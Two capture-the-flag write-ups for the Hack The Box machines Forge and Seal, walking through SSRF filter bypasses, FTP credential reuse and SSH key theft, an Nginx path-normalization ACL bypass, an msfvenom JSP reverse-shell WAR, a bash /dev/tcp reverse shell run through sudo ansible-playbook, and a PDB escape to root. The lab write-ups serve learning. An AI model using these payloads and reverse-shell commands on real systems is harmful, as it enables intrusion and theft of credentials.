Hack The Box: Forge

Prelude

Forge is an intermediate machine from Hack The Box, developed by NoobHacker9999. I really liked this machine for the initial foothold process. Forge have some internal service and an external website. The external website have an SSRF vulnerability and we can exploit it to access the internal services and eventually get the user shell. Once we are in as the user, we can find a python script that can be run as super user, with python debugger turned on. Once we are in the PDB shell, we can enter custom python script to spawn a root shell.

Let’s begin the exploitation.

Exploitation

The nmap scan showed that Forge have three ports open. Amongst them, port 21 is filtered.

nmap -sCV -v -oN tcp 10.10.11.111

Nmap scan result.

Nmap scan report for 10.10.11.111
Host is up (0.053s latency).
Not shown: 997 closed ports
PORT   STATE    SERVICE VERSION
21/tcp filtered ftp
22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
|   256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_  256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open     http    Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://forge.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

I navigated to the web server and it redirected me to the hostname http://forge.htb.

I added the hostname to my /etc/hosts file, refreshed the page and it showed me the following gallery.

There was an Upload image button. So, I clicked it and it lead me to the following page.

I tested the Upload function to see if the upload function checks the uploaded file’s type. So, I uploaded a PHP file and it showed me the following link.

I curl-ed the shown URL and I got the contents of the PHP file I uploaded. So, there’s no checking in place for the uploaded file’s format.

There was also an Upload from URL section, where we could provide a URL and the file will be uploaded to the target. I tested that function and it was also working.

But, we can’t upload a PHP reverse shell and execute it because this was a python based web server. I found that when I began to tinker with the upload form and I got the following error.

So, I decided to try accessing the ftp via this to test if SSRF was possible.

I first tried ftp://127.0.0.1/ as the payload, but the protocol ftp was blacklisted. So, I tried http://127.0.0.2:21/ and it retrieved the FTP service banner! I used 127.0.0.2 as the target, since 127.0.0.1 and localhost was blacklisted and 127.0.0.x can be used as the loopback address.

So, SSRF is possible. But, since the ftp:// scheme is blocked, we cannot use this to access the ftp service.

I then decided to expand my recon and started sub domain enumeration using gobuster, since we already have a domain name.

And gobuster did find a new subdomain admin.forge.htb.

So, I tried to access the new subdomain, but it showed the following error.

Okay.

Time to see that SSRF in action!

I passed http://admin.forge.htb to the Upload by URL menu, but it showed an error.

So, I used URL encoding to encode the URL and send it again and this time, it worked!

Payload I used

http://%61%64%6d%69%6e%2e%66%6f%72%67%65%2e%68%74%62/

I then curl-ed the generated URL and found the contents of admin.forge.htb.

In the output, I noticed two endpoints. One for announcements and one for uploading files.

Using the technique I just did, I extracted the contents of /announcements. There was a username and password given in the announcements page.

I tried the credentials to login via SSH, but the password login was disabled.

So, I decided to take a step back and think about what to do next.

In the announcements page, I’ve found three interesting things.

  • The creds to the FTP server is user:heightofsecurity123!
  • The /upload endpoint in admin.forge.htb supports ftp
  • To upload files, we can pass the URL of the file via GET variable u.

Assembling all the information we got, the picture is clear. We have to use forge.htb‘s SSRF to access admin.forge.htb. Then, we can use admin.forge.htb‘s Upload by URL feature to retrieve contents from the FTP server.

Anatomy of the attack

Now that we know what attack to do, let’s start the exploitation.

I used the following payload in BurpSuite to login to the FTP server and list the file contents.

http://%2561%2564%256d%2569%256e%252e%2566%256f%2572%2567%2565%252e%2568%2574%2562%2Fupload%3Fu%3Dftp%3a//user:heightofsecurity123!@%2566%256f%2572%2567%2565%252e%2568%2574%2562

This translates to the following.

http://admin.forge.htb/upload?u=ftp://user:heightofsecurity123!@forge.htb/

I got a generated URL and just like we did before, I curl-ed the URL and I got the directory listing!

I could read the user.txt, but there wasn’t anything other than that.

I was stuck.

That’s when I remembered the error SSH showed when I tried to login earlier.

It required a public key to authenticate as user. So, I guessed that FTP is serving the home directory of the user and we need to export the id_rsa key from user‘s home directory to login as user.

I used the following payload to export the id_rsa key from the FTP server.

http://%2561%2564%256d%2569%256e%252e%2566%256f%2572%2567%2565%252e%2568%2574%2562%2Fupload%3Fu%3Dftp%3a//user:heightofsecurity123!@%2566%256f%2572%2567%2565%252e%2568%2574%2562/.ssh/id_rsa

And I got the SSH secret key!

I used the SSH key and I got in as user!

I'm Feeling awesome today. Have a bunch of dance gifs - Album on Imgur

Privilege Escalation

Once I was in as user, I issued sudo -l and found that user can run the python script /opt/remote-manage.py as root.

I inspected the code and found some interesting things.

Contents of remote-manage.py

The script once invoked will start listening on a random port and once we connect to that port, it will ask us for a password and the password is hardcoded as secretadminpassword.

Once we enter the password, the script will prompt a menu and using that menu, we can monitor processes, find free disk space and view listening sockets as root.

But, if the script encounters an exception, then the script will spawn python debugger (PDB).

That means, If we can create an exception to the script, then we can execute python commands as root.

So, I started the script by using the following command.

sudo /usr/bin/python3 /opt/remote-manage.py 
And the script started listening on a random port

I then used netcat to connect to the port and entered the password secretadminpassword.

I then cancelled the netcat, by pressing CTRl+C and it raised an exception in the python script and it entered PDB.

So, I used the following python code to spawn root bash shell.

import pty;pty.spawn("/bin/bash")

And we’re root!

Postlude

And that was Forge!

A great box that used a cool nested SSRF as it’s initial foothold, which I enjoyed a lot!

Kudos to NoobHacker9999 for creating such a fun machine!

Peace out! ✌️

Hack The Box: Seal

Prelude

Seal was an intermediate box from Hack The Box, developed by MrR3boot.

This was an interesting box, but the initial foothold took me a while, since I wasn’t familiar with the Nginx path normalization ACL bypass technique. But once I found that, everything was straightforward from there on.

To gain user we have to find the SSH private key of the user luis from a backup file. Once we are root, we’ll see that luis can run ansible-playbooks as root. Then it’s just a matter of crafting a new malicious ansible playbook to be root.

Let’s start the exploitation.

Exploitation

Starting the exploitation with the usual Nmap scan.

nmap -sCV -v -oN tcp 10.10.10.250

And got the result as follows.

PORT     STATE SERVICE    VERSION                                                                                                                                    
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)                                                                               
| ssh-hostkey:                                                                                                                                                       
|   3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)                                                                                                       
|   256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)                                                                                                      
|_  256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)                                                                                                    
443/tcp  open  ssl/http   nginx 1.18.0 (Ubuntu)                                                                                                                      
| http-methods:                                                                                                                                                      
|_  Supported Methods: OPTIONS GET HEAD POST                                                                                                                         
|_http-server-header: nginx/1.18.0 (Ubuntu)                                                                                                                          
|_http-title: Seal Market                                                                                                                                            
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK                                                     
| Issuer: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK                                                                

Three ports open.

I’m going with port 443.

Browsing https://10.10.10.250/ showed me the following page.

Just a random website to shop vegetable online.

I ran gobuster on the website and got the following results.

There were /manager and /admin directories.

I navigated to http://10.10.10.250/manager and found that it was forbidden.

I also tried http://10.10.10.250/admin but for some reason, it returned 404.

Then I navigated to http://10.10.10.250:8080 and found the login page of gitbucket.

There was a create account button. So, I created a new account and I got in!

There were two repositories that I could see.

Seal_market and infra.

I started to look at seal_market repo and found some interesting things.

Amongst them, the most interesting thing was that the server had Mutual Authentication setup; as mentioned in the README.md file and in an issue opened under the repository.

Contents of Readme.md

Issue mentioning the mutual authentication

TL;DR version of Mutual Authentication

Mutual authentication, also known as two-way authentication, is a security process in which entities authenticate each other before actual communication occurs. In a network environment, this requires that both the client and the server must provide digital certificates to prove their identities. In a mutual authentication process, a connection can occur only if the client and the server exchange, verify, and trust each other’s certificates.

Now that it is clear, let’s go back to exploitation.

The repository also had configuration files of nginx and Apache Tomcat.

Since the issue mentioned that the mutual authentication was setup in nginx, I decided to look at nginx‘s configuration.

And I found the following configuration.

Link to file: http://10.10.10.250:8080/root/seal_market/blob/master/nginx/sites-available/default

This configuration means that if the certificate checks of mutual authentication fails, then the page will return a 403 Forbidden error; the same error we faced when we tried to browse http://10.10.10.250/manager.

I looked around and found the credentials for tomcat from the tomcat-users.xml file from an earlier commit. (Using the history button of gitbucket)

Link to file:  http://10.10.10.250:8080/root/seal_market/blob/ac210325afd2f6ae17cce84a8aa42805ce5fd010/tomcat/tomcat-users.xml

The credentials were tomcat:42MrHBf*z8{Z%

If we had access to tomcat’s manager page, then we could upload a war file and gain Remote Code Execution by it. But, since the page is forbidden using mutual authentication, we either have to find the certificate, or we have to bypass the nginx authentication process.

My first idea was to find some kind of LFI vulnerability, leak the certificate/key file and access the Tomcat manager that way.

Falling Through Hole GIFs - Get the best GIF on GIPHY

But, this wasn’t the case and I ended up wasting some hours going behind this idea. After some time, I dropped the idea of leaking it and went back to bypassing the authentication.

I googled nginx mutual authentication bypass exploit poc and found a PDF file of a presentation from black hat, presented by Orange Tsai.

It was a great research on different attacks based on Path Normalization.

In the PDF, there was a PoC on a Path Normalization bug leading to ACL bypass on Nginx (page 67).

It was a simple PoC, in which the attacker could add a semicolon (;) to the URL and Nginx would rewrite the address to a normalized version; thereby effectively bypassing the Access Controls in place.

So, I went to Poc: https://seal.htb/manager; and the manager page was accessible now!

Excited GIFs - Get the best GIF on GIPHY

Now we can upload war files and gain RCE.

So, I created a malicious war file using msfvenom.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.9 LPORT=443 -f war -o reverse.war

I then uploaded it to the Tomcat Manager and clicked Deploy.

War file deployed succesfully

Once it was deployed succesfully, I started a netcat listener and navigated to http://10.10.10.250/reverse and I got a shell back as tomcat!

Gaining shell as luis

Once I got the shell as tomcat, I looked around the machine and found an interesting directory in /opt named backups.

I looked at it and inside the backups directory, found three archives.
I extracted the first one with the following command.

gunzip -d backup-2021-07-25-15\:20\:33.gz

Which resulted in a tar archive with no extension.
So, I renamed the resulted file to a tar archive.

mv backup-2021-07-25-15\:20\:33 backup.tar

Then I extracted the tar archive using

tar -xvf backup.tar

Once the tar archive was properly extracted, I found the SSH keys of user luis inside the extracted content’s dashboard/uploads/.ssh directory.

I copied the keys to my machine and used the following command to SSH in as luis.

ssh -i id_rsa luis@10.10.10.250

And I was in!

Privilege Escalation

Once I was in as luis, I issued sudo -l and found that luis can run ansible-playbook command as root, without providing password.

A summary of Ansible and Playbooks

Ansible is an open source IT configuration management (CM) and automation platform, provided by Red Hat. It uses human-readable YAML templates so that users can program repetitive tasks to occur automatically. A playbook is a YAML file, which contains a blueprint of automation tasks so that, it can be executed with limited or no human involvement.

That means if we create a playbook with custom commands, it can be executed with root privileges.

So, I created a simple ansible playbook named test.yml, which executes a bash script named rev.sh located at ~/luis/test/.

Contents of test.yml

---
- name: test play
  hosts: localhost

  tasks:
    - name: first task
      command: /home/luis/test/rev.sh

Contents of rev.sh

#!/bin/bash
sh -i >& /dev/tcp/10.10.14.9/9002 0>&1

After that I started a netcat listener on port 9002 in my Kali machine and executed the playbook using the following command.

sudo /usr/bin/ansible-playbook test.yml

And I got a root shell back!

w00t w00t!
amy poehler gifs Page 17 | WiffleGif

Postlude

And that was Seal!

This machine wasn’t that hard considering other HTB medium machines, but it was a great learning experience and Kudos to MrR3boot for making such an awesome box!

Peace out! ✌️